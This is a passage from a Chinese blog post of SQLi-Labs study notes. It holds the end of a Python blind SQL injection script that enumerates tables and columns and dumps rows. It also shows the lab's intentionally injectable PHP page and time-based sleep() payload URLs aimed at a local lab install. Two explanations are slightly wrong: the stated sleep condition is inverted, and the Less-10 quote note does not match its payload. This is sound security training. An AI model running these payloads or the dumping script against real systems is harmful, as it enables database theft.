    65.     print "count of talbe:" + str(tableCount)  
    66.    
    67.     # 获取数据库中的表  
    68.     for i in xrange(0,tableCount):  
    69.         # 第几个表  
    70.         num = str(i)  
    71.         # 获取当前这个表的长度  
    72.         selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind  
    73.         tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)  
    74.         print "current table length:" + str(tableNameLength)  
    75.         # 获取当前这个表的名字  
    76.         selectTableName = selectTable%(DBname, i)  
    77.         tableName = getName(asciiPayload, selectTableName ,tableNameLength)  
    78.         print tableName  
    79.    
    80.    
    81.     selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"  
    82.     # print selectColumnCountPayload  
    83.     # 获取指定表的列的数量  
    84.     columnCount = getLengthOfString(selectColumnCountPayload, getTable)  
    85.     print "table:" + getTable + " --count of column:" + str(columnCount)  
    86.    
    87.     # 获取该表有多少行数据  
    88.     dataCountPayload = "'and (select count(*) from %s)>=%d #"  
    89.     dataCount = getLengthOfString(dataCountPayload, getTable)  
    90.     print "table:" + getTable + " --count of data: " + str(dataCount)  
    91.    
    92.     data = []  
    93.     # 获取指定表中的列  
    94.     for i in xrange(0,columnCount):  
    95.         # 获取该列名字长度  
    96.         selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"  
    97.         # print selectColumnNameLengthPayload  
    98.         columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)  
    99.         print "current column length:" + str(columnNameLength)  
    100.         # 获取该列的名字  
    101.         selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"  
    102.         selectColumnName = selectColumn%(getTable, i)  
    103.         # print selectColumnName  
    104.         columnName = getName(asciiPayload, selectColumnName ,columnNameLength)  
    105.         print columnName  
    106.    
    107.         tmpData = []  
    108.         tmpData.append(columnName)  
    109.         # 获取该表的数据  
    110.         for j in xrange(0,dataCount):  
    111.             columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"  
    112.             # print columnDataLengthPayload  
    113.             columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)  
    114.             # print columnDataLength  
    115.             selectData = "select " + columnName + " from users limit " + str(j) + ",1"  
    116.             columnData = getName(asciiPayload, selectData, columnDataLength)  
    117.             # print columnData  
    118.             tmpData.append(columnData)  
    119.        
    120.         data.append(tmpData)  
    121.    
    122.     # print data      
    123.     # 格式化输出数据  
    124.     # 输出列名  
    125.     tmp = ""  
    126.     for i in xrange(0,len(data)):  
    127.         tmp += data[i][0] + "   "  
    128.     print tmp  
    129.     # 输出具体数据  
    130.     for j in xrange(1,dataCount+1):  
    131.         tmp = ""  
    132.         for i in xrange(0,len(data)):  
    133.             tmp += data[i][j] + "   "  
    134.         print tmp  
    135.        
    136. # 获取字符串的长度            
    137. def getLengthOfString(payload, string):  
    138.     # 猜长度  
    139.     lengthLeft = 0  
    140.     lengthRigth = 0  
    141.     guess = 10  
    142.     # 确定长度上限,每次增加5  
    143.     while 1:  
    144.         # 如果长度大于guess  
    145.         if getLengthResult(payload, string, guess) == True:  
    146.             # 猜测值增加5  
    147.             guess = guess + 5     
    148.         else:  
    149.             lengthRigth = guess  
    150.             break  
    151.     # print "lengthRigth: " + str(lengthRigth)  
    152.     # 二分法查长度  
    153.     mid = (lengthLeft + lengthRigth) / 2  
    154.     while lengthLeft < lengthRigth - 1:  
    155.         # 如果长度大于等于mid   
    156.         if getLengthResult(payload, string, mid) == True:  
    157.             # 更新长度的左边界为mid  
    158.             lengthLeft = mid  
    159.         else:   
    160.         # 否则就是长度小于mid  
    161.             # 更新长度的右边界为mid  
    162.             lengthRigth = mid  
    163.         # 更新中值  
    164.         mid = (lengthLeft + lengthRigth) / 2          
    165.         # print lengthLeft, lengthRigth  
    166.     # 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid  
    167.     # 所以长度区间:大于等于 lengthLeft,小于lengthRigth  
    168.     # 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度  
    169.     # 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8  
    170.     return lengthLeft  
    171.    
    172. # 获取名称  
    173. def getName(payload, string, lengthOfString):  
    174.     # 32是空格,是第一个可显示的字符,127是delete,最后一个字符  
    175.     tmp = ''  
    176.     for i in xrange(1,lengthOfString+1):  
    177.         left = 32   
    178.         right = 127  
    179.         mid = (left + right) / 2  
    180.         while left < right - 1:  
    181.             # 如果该字符串的第i个字符的ascii码大于等于mid  
    182.             if getResult(payload, string, i, mid) == True:  
    183.                 # 则更新左边界  
    184.                 left = mid  
    185.                 mid = (left + right) / 2  
    186.             else:  
    187.             # 否则该字符串的第i个字符的ascii码小于mid  
    188.                 # 则更新右边界  
    189.                 right = mid  
    190.             # 更新中值  
    191.             mid = (left + right) / 2  
    192.         tmp += chr(left)  
    193.         # print tmp  
    194.     return tmp    
    195.            
    196.    
    197. def main():  
    198.     inject()  
    199. main()  



    Less-9基于时间的GET单引号盲注

    先打开网页查看 Welcome Dhakkan
    SQLi-Labs 学习笔记(Less 1-10)_第42张图片


    ②查看源代码:
    [php]  view plain  copy
    1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    2. "http://www.w3.org/1999/xhtml">  
    3.   
    4. "Content-Type" content="text/html; charset=utf-8" />  
    5. Less-9 Blind- Time based- Single Quotes- String  
    6.   
    7.   
    8. "#000000">  
    9. " margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
        
    10. "3" color="#FFFF00">  
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15. error_reporting(0);  
    16.   
    17. // take the variables  
    18. if(isset($_GET['id']))  
    19. {  
    20. $id=$_GET['id'];  
    21. //logging the connection parameters to a file for analysis.  
    22. $fp=fopen('result.txt','a');  
    23. fwrite($fp,'ID:'.$id."\n");  
    24. fclose($fp);  
    25.   
    26. // connectivity   
    27.   
    28.   
    29. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
    30. $result=mysql_query($sql);  
    31. $row = mysql_fetch_array($result);  
    32.   
    33.     if($row)  
    34.     {  
    35.     echo '';     
    36.     echo 'You are in...........';  
    37.     echo "
      "
      ;  
    38.         echo "";  
    39.     }  
    40.     else   
    41.     {  
    42.       
    43.     echo '';  
    44.     echo 'You are in...........';  
    45.     //print_r(mysql_error());  
    46.     //echo "You have an error in your SQL syntax";  
    47.     echo "
      "
      ;      
    48.     echo '';    
    49.       
    50.     }  
    51. }  
    52.     else { echo "Please input the ID as parameter with numeric value";}  
    53.   
    54. ?>  
    55.  



      
  • "../images/Less-9.jpg" />
  •   
  •   
  •   


  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:
    SQLi-Labs 学习笔记(Less 1-10)_第43张图片

    时间型盲注和bool型盲注应用场景不同之处在报错的返回上,从less-8我们知道,输入合法时他会返回正常页面“You are in......”,而非法输入时他没有返回任何东西,于是,我们可以根据这个特点跑盲注,通过他不同的返回页面来判断我们匹配的字符是否正确,而在less-9中合法输入与非合法输入它都返回一个页面,就是You are in.....

    这样,我们就不能根据他页面的返回内容来判断匹配结果了,因此我们需要用延时函数sleep()对两种输入进行区分,可以构造如下语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115,0,sleep(5))%23  
    SQLi-Labs 学习笔记(Less 1-10)_第44张图片

    这里的意思是,如果数据库名首字母的ascii码大于115,那么执行sleep(5),延时5秒,此时标签栏会变成缓冲,于是,我们就可以判断匹配的结果了,盲注脚本与less-8类似,只需要加入sleep函数即可。


    Less-10  基于时间的双引号盲注

    把上面的改成单引号就行:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(database(),1,1))>115,0,sleep(5))%23  

    你可能感兴趣的:(SQL注入)